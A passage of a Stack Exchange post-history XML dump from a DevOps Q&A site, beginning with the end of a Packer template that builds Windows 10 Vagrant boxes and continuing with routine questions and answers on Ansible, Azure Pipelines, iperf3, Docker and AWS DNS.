&quot;./scripts/fixnetwork.ps1&quot;,&#xD;&#xA;            &quot;./scripts/disable-screensaver.ps1&quot;,&#xD;&#xA;            &quot;./scripts/disable-winrm.ps1&quot;,&#xD;&#xA;            &quot;./scripts/enable-winrm.ps1&quot;,&#xD;&#xA;            &quot;./scripts/microsoft-updates.bat&quot;,&#xD;&#xA;            &quot;./scripts/win-updates.ps1&quot;&#xD;&#xA;          ],&#xD;&#xA;          &quot;guest_additions_mode&quot;: &quot;none&quot;,&#xD;&#xA;          &quot;iso_checksum&quot;: &quot;{{user `iso_checksum`}}&quot;,&#xD;&#xA;          &quot;iso_url&quot;: &quot;{{user `iso_url`}}&quot;,&#xD;&#xA;          &quot;memory&quot;: &quot;{{user `memory`}}&quot;,&#xD;&#xA;          &quot;shutdown_command&quot;: &quot;shutdown /s /t 10 /f /d p:4:1 /c \&quot;Packer Shutdown\&quot;&quot;,&#xD;&#xA;          &quot;switch_name&quot;: &quot;{{user `switch_name`}}&quot;,&#xD;&#xA;          &quot;type&quot;: &quot;hyperv-iso&quot;,&#xD;&#xA;          &quot;vm_name&quot;: &quot;{{user `vm_name`}}&quot;,&#xD;&#xA;          &quot;winrm_password&quot;: &quot;vagrant&quot;,&#xD;&#xA;          &quot;winrm_timeout&quot;: &quot;{{user `winrm_timeout`}}&quot;,&#xD;&#xA;          &quot;winrm_username&quot;: &quot;vagrant&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;boot_command&quot;: &quot;&quot;,&#xD;&#xA;          &quot;boot_wait&quot;: &quot;6m&quot;,&#xD;&#xA;          &quot;communicator&quot;: &quot;winrm&quot;,&#xD;&#xA;          &quot;cpus&quot;: 2,&#xD;&#xA;          &quot;disk_adapter_type&quot;: &quot;lsisas1068&quot;,&#xD;&#xA;          &quot;disk_size&quot;: &quot;{{user `disk_size`}}&quot;,&#xD;&#xA;          &quot;disk_type_id&quot;: &quot;{{user `disk_type_id`}}&quot;,&#xD;&#xA;          &quot;floppy_files&quot;: [&#xD;&#xA;            &quot;{{user `autounattend`}}&quot;,&#xD;&#xA;            &quot;./floppy/WindowsPowershell.lnk&quot;,&#xD;&#xA;            &quot;./floppy/PinTo10.exe&quot;,&#xD;&#xA;            &quot;./scripts/fixnetwork.ps1&quot;,&#xD;&#xA;            &quot;./scripts/disable-screensaver.ps1&quot;,&#xD;&#xA;            &quot;./scripts/disable-winrm.ps1&quot;,&#xD;&#xA;            &quot;./scripts/enable-winrm.ps1&quot;,&#xD;&#xA;            &quot;./scripts/microsoft-updates.bat&quot;,&#xD;&#xA;            &quot;./scripts/win-updates.ps1&quot;&#xD;&#xA;          ],&#xD;&#xA;          &quot;guest_os_type&quot;: &quot;windows9-64&quot;,&#xD;&#xA;          &quot;headless&quot;: &quot;{{user `headless`}}&quot;,&#xD;&#xA;          &quot;iso_checksum&quot;: &quot;{{user `iso_checksum`}}&quot;,&#xD;&#xA;          &quot;iso_url&quot;: &quot;{{user `iso_url`}}&quot;,&#xD;&#xA;          &quot;memory&quot;: &quot;{{user `memory`}}&quot;,&#xD;&#xA;          &quot;shutdown_command&quot;: &quot;shutdown /s /t 10 /f /d p:4:1 /c \&quot;Packer Shutdown\&quot;&quot;,&#xD;&#xA;          &quot;type&quot;: &quot;vmware-iso&quot;,&#xD;&#xA;          &quot;version&quot;: &quot;{{user `vmx_version`}}&quot;,&#xD;&#xA;          &quot;vm_name&quot;: &quot;{{user `vm_name`}}&quot;,&#xD;&#xA;          &quot;vmx_data&quot;: {&#xD;&#xA;            &quot;RemoteDisplay.vnc.enabled&quot;: &quot;false&quot;,&#xD;&#xA;            &quot;RemoteDisplay.vnc.port&quot;: &quot;5900&quot;&#xD;&#xA;          },&#xD;&#xA;          &quot;vmx_remove_ethernet_interfaces&quot;: true,&#xD;&#xA;          &quot;vnc_port_max&quot;: 5980,&#xD;&#xA;          &quot;vnc_port_min&quot;: 5900,&#xD;&#xA;          &quot;winrm_password&quot;: &quot;vagrant&quot;,&#xD;&#xA;          &quot;winrm_timeout&quot;: &quot;{{user `winrm_timeout`}}&quot;,&#xD;&#xA;          &quot;winrm_username&quot;: &quot;vagrant&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;boot_command&quot;: &quot;&quot;,&#xD;&#xA;          &quot;boot_wait&quot;: &quot;6m&quot;,&#xD;&#xA;          &quot;communicator&quot;: &quot;winrm&quot;,&#xD;&#xA;          &quot;cpus&quot;: 2,&#xD;&#xA;          &quot;disk_size&quot;: &quot;{{user `disk_size`}}&quot;,&#xD;&#xA;          &quot;floppy_files&quot;: [&#xD;&#xA;            &quot;{{user `autounattend`}}&quot;,&#xD;&#xA;            &quot;./floppy/WindowsPowershell.lnk&quot;,&#xD;&#xA;            &quot;./floppy/PinTo10.exe&quot;,&#xD;&#xA;            &quot;./scripts/fixnetwork.ps1&quot;,&#xD;&#xA;            &quot;./scripts/disable-screensaver.ps1&quot;,&#xD;&#xA;            &quot;./scripts/disable-winrm.ps1&quot;,&#xD;&#xA;            &quot;./scripts/enable-winrm.ps1&quot;,&#xD;&#xA;            &quot;./scripts/microsoft-updates.bat&quot;,&#xD;&#xA;            &quot;./scripts/win-updates.ps1&quot;&#xD;&#xA;          ],&#xD;&#xA;          &quot;guest_additions_mode&quot;: &quot;disable&quot;,&#xD;&#xA;          &quot;guest_os_type&quot;: &quot;Windows10_64&quot;,&#xD;&#xA;          &quot;headless&quot;: &quot;{{user `headless`}}&quot;,&#xD;&#xA;          &quot;iso_checksum&quot;: &quot;{{user `iso_checksum`}}&quot;,&#xD;&#xA;          &quot;iso_url&quot;: &quot;{{user `iso_url`}}&quot;,&#xD;&#xA;          &quot;memory&quot;: &quot;{{user `memory`}}&quot;,&#xD;&#xA;          &quot;shutdown_command&quot;: &quot;shutdown /s /t 10 /f /d p:4:1 /c \&quot;Packer Shutdown\&quot;&quot;,&#xD;&#xA;          &quot;type&quot;: &quot;virtualbox-iso&quot;,&#xD;&#xA;          &quot;vm_name&quot;: &quot;{{user `vm_name`}}&quot;,&#xD;&#xA;          &quot;winrm_password&quot;: &quot;vagrant&quot;,&#xD;&#xA;          &quot;winrm_timeout&quot;: &quot;{{user `winrm_timeout`}}&quot;,&#xD;&#xA;          &quot;winrm_username&quot;: &quot;vagrant&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;boot_command&quot;: &quot;&quot;,&#xD;&#xA;          &quot;boot_wait&quot;: &quot;6m&quot;,&#xD;&#xA;          &quot;communicator&quot;: &quot;winrm&quot;,&#xD;&#xA;          &quot;cpus&quot;: 2,&#xD;&#xA;          &quot;disk_size&quot;: &quot;{{user `disk_size`}}&quot;,&#xD;&#xA;          &quot;floppy_files&quot;: [&#xD;&#xA;            &quot;{{user `autounattend`}}&quot;,&#xD;&#xA;            &quot;./floppy/WindowsPowershell.lnk&quot;,&#xD;&#xA;            &quot;./floppy/PinTo10.exe&quot;,&#xD;&#xA;            &quot;./scripts/fixnetwork.ps1&quot;,&#xD;&#xA;            &quot;./scripts/disable-screensaver.ps1&quot;,&#xD;&#xA;            &quot;./scripts/disable-winrm.ps1&quot;,&#xD;&#xA;            &quot;./scripts/enable-winrm.ps1&quot;,&#xD;&#xA;            &quot;./scripts/microsoft-updates.bat&quot;,&#xD;&#xA;            &quot;./scripts/win-updates.ps1&quot;&#xD;&#xA;          ],&#xD;&#xA;          &quot;guest_os_type&quot;: &quot;win-10&quot;,&#xD;&#xA;          &quot;iso_checksum&quot;: &quot;{{user `iso_checksum`}}&quot;,&#xD;&#xA;          &quot;iso_url&quot;: &quot;{{user `iso_url`}}&quot;,&#xD;&#xA;          &quot;memory&quot;: &quot;{{user `memory`}}&quot;,&#xD;&#xA;          &quot;shutdown_command&quot;: &quot;shutdown /s /t 10 /f /d p:4:1 /c \&quot;Packer Shutdown\&quot;&quot;,&#xD;&#xA;          &quot;type&quot;: &quot;parallels-iso&quot;,&#xD;&#xA;          &quot;parallels_tools_flavor&quot;: &quot;win&quot;,&#xD;&#xA;          &quot;parallels_tools_mode&quot;: &quot;disable&quot;,&#xD;&#xA;          &quot;prlctl&quot;: [&#xD;&#xA;            [&#xD;&#xA;              &quot;set&quot;,&#xD;&#xA;              &quot;{{.Name}}&quot;,&#xD;&#xA;              &quot;--adaptive-hypervisor&quot;,&#xD;&#xA;              &quot;on&quot;&#xD;&#xA;            ],&#xD;&#xA;            [&#xD;&#xA;              &quot;set&quot;,&#xD;&#xA;              &quot;{{.Name}}&quot;,&#xD;&#xA;              &quot;--efi-boot&quot;,&#xD;&#xA;              &quot;off&quot;&#xD;&#xA;            ]&#xD;&#xA;          ],&#xD;&#xA;          &quot;vm_name&quot;: &quot;{{user `vm_name`}}&quot;,&#xD;&#xA;          &quot;winrm_password&quot;: &quot;vagrant&quot;,&#xD;&#xA;          &quot;winrm_timeout&quot;: &quot;{{user `winrm_timeout`}}&quot;,&#xD;&#xA;          &quot;winrm_username&quot;: &quot;vagrant&quot;&#xD;&#xA;        }&#xD;&#xA;      ],&#xD;&#xA;      &quot;post-processors&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;keep_input_artifact&quot;: false,&#xD;&#xA;          &quot;output&quot;: &quot;windows_10_{{.Provider}}.box&quot;,&#xD;&#xA;          &quot;type&quot;: &quot;vagrant&quot;,&#xD;&#xA;          &quot;vagrantfile_template&quot;: &quot;vagrantfile-windows_10.template&quot;&#xD;&#xA;        }&#xD;&#xA;      ],&#xD;&#xA;      &quot;provisioners&quot;: [&#xD;&#xA;        {&#xD;&#xA;          &quot;execute_command&quot;: &quot;{{ .Vars }} cmd /c \&quot;{{ .Path }}\&quot;&quot;,&#xD;&#xA;          &quot;remote_path&quot;: &quot;/tmp/script.bat&quot;,&#xD;&#xA;          &quot;scripts&quot;: [&#xD;&#xA;            &quot;./scripts/enable-rdp.bat&quot;&#xD;&#xA;          ],&#xD;&#xA;          &quot;type&quot;: &quot;windows-shell&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;scripts&quot;: [&#xD;&#xA;            &quot;./scripts/vm-guest-tools.ps1&quot;,&#xD;&#xA;            &quot;./scripts/debloat-windows.ps1&quot;&#xD;&#xA;          ],&#xD;&#xA;          &quot;type&quot;: &quot;powershell&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;restart_timeout&quot;: &quot;{{user `restart_timeout`}}&quot;,&#xD;&#xA;          &quot;type&quot;: &quot;windows-restart&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;scripts&quot;: [&#xD;&#xA;            &quot;./scripts/set-powerplan.ps1&quot;,&#xD;&#xA;            &quot;./scripts/docker/disable-windows-defender.ps1&quot;&#xD;&#xA;          ],&#xD;&#xA;          &quot;type&quot;: &quot;powershell&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;execute_command&quot;: &quot;{{ .Vars }} cmd /c \&quot;{{ .Path }}\&quot;&quot;,&#xD;&#xA;          &quot;remote_path&quot;: &quot;/tmp/script.bat&quot;,&#xD;&#xA;          &quot;scripts&quot;: [&#xD;&#xA;            &quot;./scripts/pin-powershell.bat&quot;,&#xD;&#xA;            &quot;./scripts/compile-dotnet-assemblies.bat&quot;,&#xD;&#xA;            &quot;./scripts/set-winrm-automatic.bat&quot;,&#xD;&#xA;            &quot;./scripts/uac-enable.bat&quot;,&#xD;&#xA;            &quot;./scripts/dis-updates.bat&quot;,&#xD;&#xA;            &quot;./scripts/compact.bat&quot;&#xD;&#xA;          ],&#xD;&#xA;          &quot;type&quot;: &quot;windows-shell&quot;&#xD;&#xA;        }&#xD;&#xA;      ],&#xD;&#xA;      &quot;variables&quot;: {&#xD;&#xA;        &quot;autounattend&quot;: &quot;./answer_files/10/Autounattend.xml&quot;,&#xD;&#xA;        &quot;disk_size&quot;: &quot;61440&quot;,&#xD;&#xA;        &quot;disk_type_id&quot;: &quot;1&quot;,&#xD;&#xA;        &quot;memory&quot;: &quot;2048&quot;,&#xD;&#xA;        &quot;headless&quot;: &quot;false&quot;,&#xD;&#xA;        &quot;iso_checksum&quot;: &quot;sha256:668fe1af70c2f7416328aee3a0bb066b12dc6bbd2576f40f812b95741e18bc3a&quot;,&#xD;&#xA;        &quot;iso_url&quot;: &quot;https://software-download.microsoft.com/download/sg/17763.107.101029-1455.rs5_release_svc_refresh_CLIENT_LTSC_EVAL_x64FRE_en-us.iso&quot;,&#xD;&#xA;        &quot;restart_timeout&quot;: &quot;5m&quot;,&#xD;&#xA;        &quot;vhv_enable&quot;: &quot;false&quot;,&#xD;&#xA;        &quot;virtio_win_iso&quot;: &quot;~/virtio-win.iso&quot;,&#xD;&#xA;        &quot;vm_name&quot;: &quot;windows_10_pos&quot;,&#xD;&#xA;        &quot;winrm_timeout&quot;: &quot;6h&quot;,&#xD;&#xA;        &quot;vmx_version&quot;: &quot;14&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42902" PostHistoryTypeId="1" PostId="13619" RevisionGUID="b88e54b5-5d5a-4eb8-bf43-81291f665306" CreationDate="2021-03-27T05:23:47.883" UserId="26839" Text="Trying to understand sample windows 10 packer template at https://github.com/StefanScherer/packer-windows" ContentLicense="CC BY-SA 4.0" />
  <row Id="42903" PostHistoryTypeId="3" PostId="13619" RevisionGUID="b88e54b5-5d5a-4eb8-bf43-81291f665306" CreationDate="2021-03-27T05:23:47.883" UserId="26839" Text="&lt;windows&gt;&lt;packer&gt;&lt;vm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42904" PostHistoryTypeId="2" PostId="13620" RevisionGUID="6c9bdb14-ae46-4eec-bc65-f013b37737bd" CreationDate="2021-03-27T07:31:19.763" UserId="26840" Text="It could be due to a &quot;VPC DNS throttling&quot;, you can find more information on the official documentation.&#xD;&#xA;&#xD;&#xA;https://aws.amazon.com/premiumsupport/knowledge-center/vpc-find-cause-of-failed-dns-queries/&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42905" PostHistoryTypeId="2" PostId="13621" RevisionGUID="a8b1a6b7-882b-46a2-8eb3-56de1e70b22b" CreationDate="2021-03-27T07:35:36.767" UserId="26840" Text="If you're looking to access your database only from localhost, you can do something like that:&#xD;&#xA;```&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;127.0.0.1:5432:5432&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="42906" PostHistoryTypeId="2" PostId="13622" RevisionGUID="d6337b02-9034-49d6-b6a9-ba313f7dea69" CreationDate="2021-03-27T10:51:11.690" UserId="26843" Text="Looks like the Dockerfile is not in the path, '.' means the current directory you are in." ContentLicense="CC BY-SA 4.0" />
  <row Id="42907" PostHistoryTypeId="2" PostId="13623" RevisionGUID="5a323635-68ee-44ed-9967-cbc19af7341b" CreationDate="2021-03-27T11:22:12.807" UserId="4856" Text="Pipeline Variables are handed to PowerShell as environment variables, which means that `$ip` exists only with the script while you want to use `$env:ip` to pick the environment variable value.&#xD;&#xA;&#xD;&#xA;**Note** Secret variables are **not** passed automatically: you must add an explicit `env:` in YAML or as arguments in Classic Editor. The latter means that the PowerShell code must have a `param` declaration (e.g. `param($ip)`)and the Task use _Arguments_ field (e.g. `-ip $(ip)`).&#xD;&#xA;&#xD;&#xA;![](https://docs.microsoft.com/en-us/azure/devops/pipelines/media/get-started-designer/powershell-task-2.png?view=azure-devops)" ContentLicense="CC BY-SA 4.0" />
  <row Id="42908" PostHistoryTypeId="2" PostId="13624" RevisionGUID="7ce6ad96-436f-449d-aaae-9ab8df2b0121" CreationDate="2021-03-27T15:13:53.560" UserId="26834" Text="The issue is that you can't reference the changed value in the same task.&#xD;&#xA;&#xD;&#xA;I created a new Powershell task and just called `Write-Host &quot;env:IP environment variable set to ($env:IP)&quot;` which output the IP address correctly." ContentLicense="CC BY-SA 4.0" />
  <row Id="42909" PostHistoryTypeId="2" PostId="13625" RevisionGUID="d394d2ec-e6c8-487a-9ac0-9e3ae5e3cdaa" CreationDate="2021-03-27T18:17:22.063" UserId="13111" Text="No, you cannot nest jinja2 expansion i.e. the following **won't work**:&#xD;&#xA;```yaml&#xD;&#xA;# Warning ! This will fail !&#xD;&#xA;some_var: &quot;{{ some_dict[{{ an_other_var }}] }}&quot;&#xD;&#xA;# Did I forget to say the above will fail ?&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But you can use your var without any problem, just as in almost any other programming language dealing with list and indexes. There is actually an [ansible FAQ entry on this particular subject](https://docs.ansible.com/ansible/latest/reference_appendices/faq.html#when-should-i-use-also-how-to-interpolate-variables-or-dynamic-variable-names)&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;some_inventory_hostname: 192.168.0.162&#xD;&#xA;node1_hostname: &quot;{{ hostvars[some_inventory_hostname].node1_hostname }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42910" PostHistoryTypeId="50" PostId="13437" RevisionGUID="7ffb90c9-6ab0-41dd-866f-5a25b894015e" CreationDate="2021-03-28T03:01:55.277" UserId="-1" />
  <row Id="42914" PostHistoryTypeId="5" PostId="13618" RevisionGUID="ca9b60a6-e256-46ce-8af3-885479aa9ff4" CreationDate="2021-03-28T09:12:43.077" UserId="354" Comment="put code into quotes." Text="I have a hardcoded hostvars line, like so:&#xD;&#xA;&#xD;&#xA;`node1_hostname={{ hostvars['192.168.0.162']['node1_hostname'] }}`&#xD;&#xA;&#xD;&#xA;I have a `set_fact` variable from a previous play that I'd like to expand in the host section of the hostvars declaration, instead of the IP address. Can hostvars take expansion inside those brackets and single quotes?&#xD;&#xA;&#xD;&#xA;Thanks." ContentLicense="CC BY-SA 4.0" />
  <row Id="42915" PostHistoryTypeId="50" PostId="9666" RevisionGUID="88f0d1a2-d443-46cf-9b8c-80090640bb82" CreationDate="2021-03-28T19:04:15.407" UserId="-1" />
  <row Id="42916" PostHistoryTypeId="50" PostId="13443" RevisionGUID="cc09e30a-977d-4cdf-81a1-4754b06d961f" CreationDate="2021-03-28T22:07:20.783" UserId="-1" />
  <row Id="42917" PostHistoryTypeId="2" PostId="13627" RevisionGUID="a2dcfcf5-c070-4db5-a755-e52d0597b108" CreationDate="2021-03-28T22:39:23.733" UserId="26870" Text="I've been trying to find some Microsoft documentation stating whether or not regular expressions and/or pattern matching is recognized and can be used in the Filter bar (the gray area with the filter icon) on the Pipelines list page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/qbCle.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="42918" PostHistoryTypeId="1" PostId="13627" RevisionGUID="a2dcfcf5-c070-4db5-a755-e52d0597b108" CreationDate="2021-03-28T22:39:23.733" UserId="26870" Text="Azure Pipelines: Does the Filter Pipeline Filter bar Allow regular expressions or pattern matching?" ContentLicense="CC BY-SA 4.0" />
  <row Id="42919" PostHistoryTypeId="3" PostId="13627" RevisionGUID="a2dcfcf5-c070-4db5-a755-e52d0597b108" CreationDate="2021-03-28T22:39:23.733" UserId="26870" Text="&lt;azure&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42920" PostHistoryTypeId="5" PostId="13625" RevisionGUID="19f295ae-1f8f-445b-8718-edd35efbeb52" CreationDate="2021-03-28T22:49:41.547" UserId="13111" Comment="added 64 characters in body" Text="No, you cannot nest jinja2 expansion i.e. the following **won't work**:&#xD;&#xA;```yaml&#xD;&#xA;# Warning ! Those will fail !&#xD;&#xA;some_var: &quot;{{ some_dict[{{ some_dynamic_key }}] }}&quot;&#xD;&#xA;other_var: &quot;{{ {{ dynamicaly_prefixed }}_var }}&quot;&#xD;&#xA;# Did I forget to say the above examples will fail ?&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But you can use your var without any problem, just as in almost any other programming language dealing with list and indexes. There is actually an [ansible FAQ entry on this particular subject](https://docs.ansible.com/ansible/latest/reference_appendices/faq.html#when-should-i-use-also-how-to-interpolate-variables-or-dynamic-variable-names)&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;some_inventory_hostname: 192.168.0.162&#xD;&#xA;node1_hostname: &quot;{{ hostvars[some_inventory_hostname].node1_hostname }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="42921" PostHistoryTypeId="2" PostId="13628" RevisionGUID="ac03cae7-5ab2-4bb4-9cf4-3fa8e4074cde" CreationDate="2021-03-28T23:49:46.087" UserId="13111" Text="&gt; Order of execution is important Server (Task A) needs to run before the client (Task B)&#xD;&#xA;&#xD;&#xA;Then why are your running Task A async in that case ? Is it just because `iperf --server` is not falling in the background and dying as soon as the shell task finishes ? A quick look at the [documentation](https://iperf.fr/iperf-doc.php#3doc) shows we can probably work around that problem with something like:&#xD;&#xA;```bash&#xD;&#xA;iperf3 --server --daemon --pidfilefile /path/to/iperf3.pid --logfile /path/to/log&#xD;&#xA;```&#xD;&#xA;Notes:&#xD;&#xA;- I added the `logfile` option since I guess it can be useful but it is not mandatory for the current issue&#xD;&#xA;- I took for granted you are running the server on a linux platform. Running it on Windows would apparently slightly change the below scenario. See [Running as a service on windows](https://iperf.fr/iperf-doc.php#service)&#xD;&#xA;&#xD;&#xA;From what I understand the last unsolved issue is running the client tasks sequentially on each client host. This can be done using the [`serial` keyword](https://docs.ansible.com/ansible/latest/user_guide/playbooks_strategies.html#rolling-update-batch-size) on your play.&#xD;&#xA;&#xD;&#xA;Here is an untested pseudo ansible setup summarizing what I understand from your requirements. Adapt to your real use-case.&#xD;&#xA;&#xD;&#xA;**`inventory/iperf_hosts.yml`**&#xD;&#xA;```yaml&#xD;&#xA;---&#xD;&#xA;iperf_servers:&#xD;&#xA;  vars:&#xD;&#xA;    iperf_pid_file: /tmp/iperf.pid&#xD;&#xA;    iperf_log_file: /tmp/iperf.log&#xD;&#xA;  hosts:&#xD;&#xA;    server1.local:&#xD;&#xA;iperf_clients:&#xD;&#xA;  vars:&#xD;&#xA;    iperf_time: 1&#xD;&#xA;    iperf_dest: some\win\directory&#xD;&#xA;  hosts:&#xD;&#xA;    host1.local:&#xD;&#xA;    host2.local:&#xD;&#xA;    host3.local:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**`playbook.yml`**&#xD;&#xA;```yaml&#xD;&#xA;---&#xD;&#xA;- name: Start the iperf server&#xD;&#xA;  hosts: iperf_servers&#xD;&#xA;  &#xD;&#xA;  tasks:&#xD;&#xA;    - name: Fire the start command&#xD;&#xA;      command: &quot;iperf3 --server --daemon --pidfilefile {{ iperf_pid_file }} --logfile {{ iperf_log_file }}&quot;&#xD;&#xA;&#xD;&#xA;- name: Launch clients one after the other.&#xD;&#xA;  hosts: iperf_clients&#xD;&#xA;  serial: 1&#xD;&#xA;  &#xD;&#xA;  tasks:&#xD;&#xA;    - name: Run iperf3 client&#xD;&#xA;      win_command: &quot;iperf3 -c {{ iperf_servers[0].inventory_hostname }} -t {{ iperf_time }}&quot;&#xD;&#xA;      args:&#xD;&#xA;        chdir: &quot;{{ iperf_dest }}&quot;&#xD;&#xA;      register: iperf3_out&#xD;&#xA;&#xD;&#xA;    - debug:&#xD;&#xA;        var: iperf3_out.stdout&#xD;&#xA;&#xD;&#xA;- name: Now we are over with clients, kill the server&#xD;&#xA;  hosts: iperf_servers&#xD;&#xA;  # We already gathered facts at first play so we disable here&#xD;&#xA;  # You might want to disable in all other plays if you don't need facts at all&#xD;&#xA;  gather_facts: false&#xD;&#xA;&#xD;&#xA;  tasks:&#xD;&#xA;    - name: Slurp pid from file&#xD;&#xA;      slurp:&#xD;&#xA;        path: &quot;{{ iperf_pid_file }}&quot;&#xD;&#xA;      register: slurped_pid&#xD;&#xA;&#xD;&#xA;    - name: kill the iperf3 process&#xD;&#xA;      command: &quot;kill {{ slurped_pid.content | b64decode }}&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="42922" PostHistoryTypeId="5" PostId="13628" RevisionGUID="33543c78-7180-4c0d-82a7-eec7924dd768" CreationDate="2021-03-28T23:58:25.147" UserId="13111" Comment="Typo in option name" Text="&gt; Order of execution is important Server (Task A) needs to run before the client (Task B)&#xD;&#xA;&#xD;&#xA;Then why are your running Task A async in that case ? Is it just because `iperf --server` is not falling in the background and dying as soon as the shell task finishes ? A quick look at the [documentation](https://iperf.fr/iperf-doc.php#3doc) shows we can probably work around that problem with something like:&#xD;&#xA;```bash&#xD;&#xA;iperf3 --server --daemon --pidfile /path/to/iperf3.pid --logfile /path/to/log&#xD;&#xA;```&#xD;&#xA;Notes:&#xD;&#xA;- I added the `logfile` option since I guess it can be useful but it is not mandatory for the current issue&#xD;&#xA;- I took for granted you are running the server on a linux platform. Running it on Windows would apparently slightly change the below scenario. See [Running as a service on windows](https://iperf.fr/iperf-doc.php#service)&#xD;&#xA;&#xD;&#xA;From what I understand the last unsolved issue is running the client tasks sequentially on each client host. This can be done using the [`serial` keyword](https://docs.ansible.com/ansible/latest/user_guide/playbooks_strategies.html#rolling-update-batch-size) on your play.&#xD;&#xA;&#xD;&#xA;Here is an untested pseudo ansible setup summarizing what I understand from your requirements. Adapt to your real use-case.&#xD;&#xA;&#xD;&#xA;**`inventory/iperf_hosts.yml`**&#xD;&#xA;```yaml&#xD;&#xA;---&#xD;&#xA;iperf_servers:&#xD;&#xA;  vars:&#xD;&#xA;    iperf_pid_file: /tmp/iperf.pid&#xD;&#xA;    iperf_log_file: /tmp/iperf.log&#xD;&#xA;  hosts:&#xD;&#xA;    server1.local:&#xD;&#xA;iperf_clients:&#xD;&#xA;  vars:&#xD;&#xA;    iperf_time: 1&#xD;&#xA;    iperf_dest: some\win\directory&#xD;&#xA;  hosts:&#xD;&#xA;    host1.local:&#xD;&#xA;    host2.local:&#xD;&#xA;    host3.local:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**`playbook.yml`**&#xD;&#xA;```yaml&#xD;&#xA;---&#xD;&#xA;- name: Start the iperf server&#xD;&#xA;  hosts: iperf_servers&#xD;&#xA;  &#xD;&#xA;  tasks:&#xD;&#xA;    - name: Fire the start command&#xD;&#xA;      command: &quot;iperf3 --server --daemon --pidfile {{ iperf_pid_file }} --logfile {{ iperf_log_file }}&quot;&#xD;&#xA;&#xD;&#xA;- name: Launch clients one after the other.&#xD;&#xA;  hosts: iperf_clients&#xD;&#xA;  serial: 1&#xD;&#xA;  &#xD;&#xA;  tasks:&#xD;&#xA;    - name: Run iperf3 client&#xD;&#xA;      win_command: &quot;iperf3 -c {{ iperf_servers[0].inventory_hostname }} -t {{ iperf_time }}&quot;&#xD;&#xA;      args:&#xD;&#xA;        chdir: &quot;{{ iperf_dest }}&quot;&#xD;&#xA;      register: iperf3_out&#xD;&#xA;&#xD;&#xA;    - debug:&#xD;&#xA;        var: iperf3_out.stdout&#xD;&#xA;&#xD;&#xA;- name: Now we are over with clients, kill the server&#xD;&#xA;  hosts: iperf_servers&#xD;&#xA;  # We already gathered facts at first play so we disable here&#xD;&#xA;  # You might want to disable in all other plays if you don't need facts at all&#xD;&#xA;  gather_facts: false&#xD;&#xA;&#xD;&#xA;  tasks:&#xD;&#xA;    - name: Slurp pid from file&#xD;&#xA;      slurp:&#xD;&#xA;        path: &quot;{{ iperf_pid_file }}&quot;&#xD;&#xA;      register: slurped_pid&#xD;&#xA;&#xD;&#xA;    - name: kill the iperf3 process&#xD;&#xA;      command: &quot;kill {{ slurped_pid.content | b64decode }}&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="42928" PostHistoryTypeId="5" PostId="13229" RevisionGUID="74b47871-2282-4d89-8977-4cbf4e8f6813" CreationDate="2021-03-29T09:54:31.157" UserId="13356" Comment="added 555 characters in body" Text="I found Docker Compose just [release 1.28 on 2021-1-20][1] but as Kubernetes won the container orchestration war I am not sure where and why I may still need Docker Compose, under with case Docker Compose is a better option?&#xD;&#xA;&#xD;&#xA;I have a web app that consists of a php docker, a nodejs docker, a nginx docker. We host it at [aliyun][2] cloud service. In 2018 aliyun used docker swarm so we used docker compose but in 2020 we had switched k8s so I was wondering if it is still worth to learn docker compose ?&#xD;&#xA;&#xD;&#xA;--- update ----&#xD;&#xA;&#xD;&#xA;I found this 2 articles is helpful&#xD;&#xA;&#xD;&#xA;1. [Why do I need Compose if I already have Kubernetes?][3] a docker blog published in 2018&#xD;&#xA;2. https://stackoverflow.com/questions/47536536/whats-the-difference-between-docker-compose-and-kubernetes an answer is what I do currently:&#xD;&#xA;&#xD;&#xA;&gt; If you are networking containers within the same host go for docker&#xD;&#xA;&gt; compose.&#xD;&#xA;&gt; &#xD;&#xA;&gt; If you are networking containers across multiple hosts go for&#xD;&#xA;&gt; kubernetes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/release-notes/&#xD;&#xA;  [2]: https://www.aliyun.com/&#xD;&#xA;  [3]: https://www.docker.com/blog/simplifying-kubernetes-with-docker-compose-and-friends/" ContentLicense="CC BY-SA 4.0" />
